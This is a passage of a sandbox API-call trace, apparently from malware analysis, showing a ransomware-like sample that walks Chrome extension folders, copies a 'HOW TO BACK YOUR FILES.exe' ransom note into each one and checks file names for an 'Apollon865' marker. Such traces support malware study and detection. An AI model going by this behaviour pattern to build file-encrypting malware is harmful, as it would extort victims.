	[0047.815] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8368d2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x349168f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x349168f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.815] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.815] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.815] lstrcpyW (in: lpString1=0x2d3e686, lpString2="view.html" | out: lpString1="view.html") returned="view.html"
	[0047.815] lstrlenW (lpString="view.html") returned 9
	[0047.815] lstrlenW (lpString="Apollon865") returned 10
	[0047.816] lstrcpyW (in: lpString1=0x2d3e686, lpString2="view.js" | out: lpString1="view.js") returned="view.js"
	[0047.816] lstrlenW (lpString="view.js") returned 7
	[0047.816] lstrlenW (lpString="Apollon865") returned 10
	[0047.816] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup"
	[0047.816] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a438 | out: hHeap=0x580000) returned 1
	[0047.816] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0047.816] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup") returned 145
	[0047.816] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup"
	[0047.816] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.816] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.822] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.822] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83663ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3493ca50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3493ca50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.822] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.822] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.822] lstrcpyW (in: lpString1=0x2d3e674, lpString2="cast_app.css" | out: lpString1="cast_app.css") returned="cast_app.css"
	[0047.822] lstrlenW (lpString="cast_app.css") returned 12
	[0047.822] lstrlenW (lpString="Apollon865") returned 10
	[0047.822] lstrcmpiW (lpString1="st_app.css", lpString2="Apollon865") returned 1
	[0047.822] lstrcpyW (in: lpString1=0x2d3e674, lpString2="cast_app.js" | out: lpString1="cast_app.js") returned="cast_app.js"
	[0047.822] lstrlenW (lpString="cast_app.js") returned 11
	[0047.822] lstrlenW (lpString="Apollon865") returned 10
	[0047.822] lstrcmpiW (lpString1="ast_app.js", lpString2="Apollon865") returned 1
	[0047.822] lstrcpyW (in: lpString1=0x2d3e674, lpString2="cast_app_redirect.js" | out: lpString1="cast_app_redirect.js") returned="cast_app_redirect.js"
	[0047.822] lstrlenW (lpString="cast_app_redirect.js") returned 20
	[0047.822] lstrlenW (lpString="Apollon865") returned 10
	[0047.822] lstrcmpiW (lpString1="edirect.js", lpString2="Apollon865") returned 1
	[0047.823] lstrcpyW (in: lpString1=0x2d3e674, lpString2="chromecast_logo_grey.png" | out: lpString1="chromecast_logo_grey.png") returned="chromecast_logo_grey.png"
	[0047.823] lstrlenW (lpString="chromecast_logo_grey.png") returned 24
	[0047.823] lstrlenW (lpString="Apollon865") returned 10
	[0047.823] lstrcmpiW (lpString1="o_grey.png", lpString2="Apollon865") returned 1
	[0047.823] lstrcpyW (in: lpString1=0x2d3e674, lpString2="devices.html" | out: lpString1="devices.html") returned="devices.html"
	[0047.823] lstrlenW (lpString="devices.html") returned 12
	[0047.823] lstrlenW (lpString="Apollon865") returned 10
	[0047.823] lstrcmpiW (lpString1="vices.html", lpString2="Apollon865") returned 1
	[0047.823] lstrcpyW (in: lpString1=0x2d3e674, lpString2="index.html" | out: lpString1="index.html") returned="index.html"
	[0047.823] lstrlenW (lpString="index.html") returned 10
	[0047.823] lstrlenW (lpString="Apollon865") returned 10
	[0047.823] lstrcpyW (in: lpString1=0x2d3e674, lpString2="offers.html" | out: lpString1="offers.html") returned="offers.html"
	[0047.823] lstrlenW (lpString="offers.html") returned 11
	[0047.823] lstrlenW (lpString="Apollon865") returned 10
	[0047.823] lstrcmpiW (lpString1="ffers.html", lpString2="Apollon865") returned 1
	[0047.823] lstrcpyW (in: lpString1=0x2d3e674, lpString2="setup.html" | out: lpString1="setup.html") returned="setup.html"
	[0047.823] lstrlenW (lpString="setup.html") returned 10
	[0047.823] lstrlenW (lpString="Apollon865") returned 10
	[0047.823] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia"
	[0047.823] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a340 | out: hHeap=0x580000) returned 1
	[0047.823] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0047.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia") returned 119
	[0047.823] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia"
	[0047.824] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.824] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.830] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.830] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3493ca50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3493ca50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.830] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.830] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.830] lstrcpyW (in: lpString1=0x2d3e640, lpString2="8.1_0" | out: lpString1="8.1_0") returned="8.1_0"
	[0047.830] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0047.830] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xfc) returned 0x5c6560
	[0047.830] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0047.830] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3493ca50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3493ca50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0047.830] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0047.830] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3493ca50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3493ca50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0047.831] FindClose (in: hFindFile=0x5ca050 | out: hFindFile=0x5ca050) returned 1
	[0047.831] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0047.831] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0"
	[0047.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0047.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0047.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0") returned 125
	[0047.831] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0"
	[0047.831] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.831] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.837] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.837] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34962bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34962bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.837] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.837] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.837] lstrcpyW (in: lpString1=0x2d3e64c, lpString2="128.png" | out: lpString1="128.png") returned="128.png"
	[0047.837] lstrlenW (lpString="128.png") returned 7
	[0047.837] lstrlenW (lpString="Apollon865") returned 10
	[0047.837] lstrcpyW (in: lpString1=0x2d3e64c, lpString2="manifest.json" | out: lpString1="manifest.json") returned="manifest.json"
	[0047.837] lstrlenW (lpString="manifest.json") returned 13
	[0047.837] lstrlenW (lpString="Apollon865") returned 10
	[0047.837] lstrcmpiW (lpString1="ifest.json", lpString2="Apollon865") returned 1
	[0047.837] lstrcpyW (in: lpString1=0x2d3e64c, lpString2="_locales" | out: lpString1="_locales") returned="_locales"
	[0047.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0047.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x10e) returned 0x5afa60
	[0047.837] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0047.837] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ae0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ae0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1
	[0047.837] lstrcmpiW (lpString1="_metadata", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.837] lstrcmpiW (lpString1="_metadata", lpString2="Apollon865.txt.exe") returned -1
	[0047.837] lstrcpyW (in: lpString1=0x2d3e64c, lpString2="_metadata" | out: lpString1="_metadata") returned="_metadata"
	[0047.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0047.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x110) returned 0x5afb78
	[0047.837] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0047.837] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ae0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ae0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0
	[0047.838] FindClose (in: hFindFile=0x5ca050 | out: hFindFile=0x5ca050) returned 1
	[0047.838] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0047.838] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata"
	[0047.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afb78 | out: hHeap=0x580000) returned 1
	[0047.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0047.838] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata") returned 135
	[0047.838] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata"
	[0047.838] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.838] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.842] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.842] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34962bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34962bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.842] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.843] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.843] lstrcpyW (in: lpString1=0x2d3e660, lpString2="verified_contents.json" | out: lpString1="verified_contents.json") returned="verified_contents.json"
	[0047.843] lstrlenW (lpString="verified_contents.json") returned 22
	[0047.843] lstrlenW (lpString="Apollon865") returned 10
	[0047.843] lstrcmpiW (lpString1="tents.json", lpString2="Apollon865") returned 1
	[0047.843] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales"
	[0047.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0047.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0047.843] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales") returned 134
	[0047.843] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales"
	[0047.843] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.843] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.848] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.849] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34962bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34962bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.849] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.849] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.849] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ar" | out: lpString1="ar") returned="ar"
	[0047.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0047.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5afa60
	[0047.849] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
